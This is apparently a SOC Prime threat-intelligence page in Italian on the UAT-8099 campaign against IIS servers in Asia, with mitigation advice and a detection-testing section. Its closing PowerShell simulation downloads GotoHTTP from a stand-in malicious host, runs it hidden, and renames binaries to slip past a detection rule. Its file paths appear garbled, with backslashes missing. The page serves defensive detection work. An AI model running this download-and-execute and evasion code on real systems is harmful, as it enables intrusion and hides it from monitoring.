SOC Prime Bias: Critico

02 Feb 2026 11:31 UTC

Dissezionando UAT-8099: Nuovi meccanismi di persistenza e focus regionale

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Segui
Dissezionando UAT-8099: Nuovi meccanismi di persistenza e focus regionale
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riassunto

Cisco Talos segnala una nuova campagna UAT-8099 che prende di mira i server web IIS vulnerabili in tutta l’Asia. L’attore distribuisce varianti personalizzate di BadIIS che includono identificatori regionali e si affida a web shell, PowerShell e allo strumento di controllo remoto GotoHTTP per il controllo successivo. La persistenza è stata ampliata per includere la creazione di account locali nascosti e l’utilizzo di strumenti legittimi di red-team per mescolarsi alle attività amministrative. La tecnica si sovrappone all’operazione WEBJACK precedente e sembra concentrarsi sulla frode SEO che colpisce i siti in Thailandia e Vietnam.

Indagine

Talos ha esaminato la telemetria DNS, gli hash dei file e gli script nocivi per ricostruire la catena di intrusione. Gli analisti hanno osservato web shell combinate con strumenti come SoftEther VPN e EasyTier, oltre a un set di utility su misura tra cui Sharp4RemoveLog, CnCrypt Protect, OpenArk64 e GotoHTTP. Due ceppi di BadIIS sintonizzati sulla regione — IISHijack e asdSearchEngine — sono stati ingegnerizzati al contrario, rivelando codici paese hard-coded, filtro selettivo delle richieste e configurazione C2 cifrata XOR. È stata identificata anche una build ELF di BadIIS con domini C2 corrispondenti su VirusTotal.

Mitigazione

Patch alle vulnerabilità esposte di IIS, potenziare l’applicazione del firewall dell’applicazione web e monitorare la creazione di account locali nascosti (ad esempio, admin$, mysql$ e simili). Rilevare attività di PowerShell che scaricano o avviano GotoHTTP e bloccare le comunicazioni in uscita verso noti domini C2. Utilizzare controlli degli endpoint per avvisare l’esecuzione delle utility personalizzate identificate e le modifiche inattese all’interno delle directory del server web.

Risposta

Se vengono trovati indicatori, isolare il server, rimuovere le web shell e cancellare gli account nascosti. Conservare i file binari di BadIIS e gli script correlati per l’analisi forense e effettuare una revisione completa del traffico di rete per identificare l’attività C2. Ripristinare da un backup verificato come buono e rinforzare la configurazione di IIS per prevenire una reinfezione.

Flusso di Attacco

Esecuzione di Simulazione

Prerequisito: Il Controllo Pre-voo di Telemetria & Baseline deve essere superato.

  • Narrazione dell’Attacco & Comandi:
    Un attaccante ha ottenuto un punto d’appoggio iniziale su un server web compromesso. Creano una directory nascosta chiamata bad_iis sotto il web root di IIS e rilasciano un binario web shell con nome personalizzato shell_xyz.exe (evitando la stringa letterale “web shell”). Usando la shell, eseguono lateralmente un payload PowerShell che scarica il binario di GotoHTTP, lo rinomina in svc_update.exe, e lo esegue. Poiché i nomi delle immagini sono offuscati, i controlli della regola originale Image|contains vengono bypassati, mentre la linea di comando contiene ancora “PowerShell”.

  • Script di Test di Regressione: Questo script riproduce i passaggi descritti e genera telemetria simile all’attacco BadIIS senza usare le stringhe esatte che la regola monitora.

    # BadIIS simulation – obfuscated version
    $webRoot = "C:inetpubwwwroot"
    $payloadDir = Join-Path $webRoot "bad_iis"
    New-Item -Path $payloadDir -ItemType Directory -Force | Out-Null
    
    # Deploy a renamed web‑shell (binary copy of a known benign exe)
    $shellSrc = "$env:SystemRootSystem32notepad.exe"
    $shellDst = Join-Path $payloadDir "shell_xyz.exe"
    Copy-Item -Path $shellSrc -Destination $shellDst -Force
    
    # Simulate the web‑shell invoking PowerShell to download GotoHTTP
    $gotoUrl = "http://malicious.example.com/GotoHTTP.exe"
    $gotoDst = "C:WindowsTempsvc_update.exe"
    
    $psCommand = @"
    Invoke-WebRequest -Uri '$gotoUrl' -OutFile '$gotoDst';
    Start-Process -FilePath '$gotoDst' -WindowStyle Hidden;
    "@
    
    # Execute the PowerShell payload via the renamed web‑shell (process creation)
    Start-Process -FilePath $shellDst -ArgumentList "/c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command `$psCommand`" -WindowStyle Hidden
    
    Write-Output "BadIIS simulation executed."
  • Comandi di Pulizia: Rimuove gli artefatti piantati e ripristina l’ambiente.

    # Cleanup BadIIS simulation artifacts
    $webRoot = "C:inetpubwwwroot"
    $payloadDir = Join-Path $webRoot "bad_iis"
    Remove-Item -Path $payloadDir -Recurse -Force -ErrorAction SilentlyContinue
    
    $gotoDst = "C:WindowsTempsvc_update.exe"
    Remove-Item -Path $gotoDst -Force -ErrorAction SilentlyContinue
    
    Write-Output "Cleanup completed."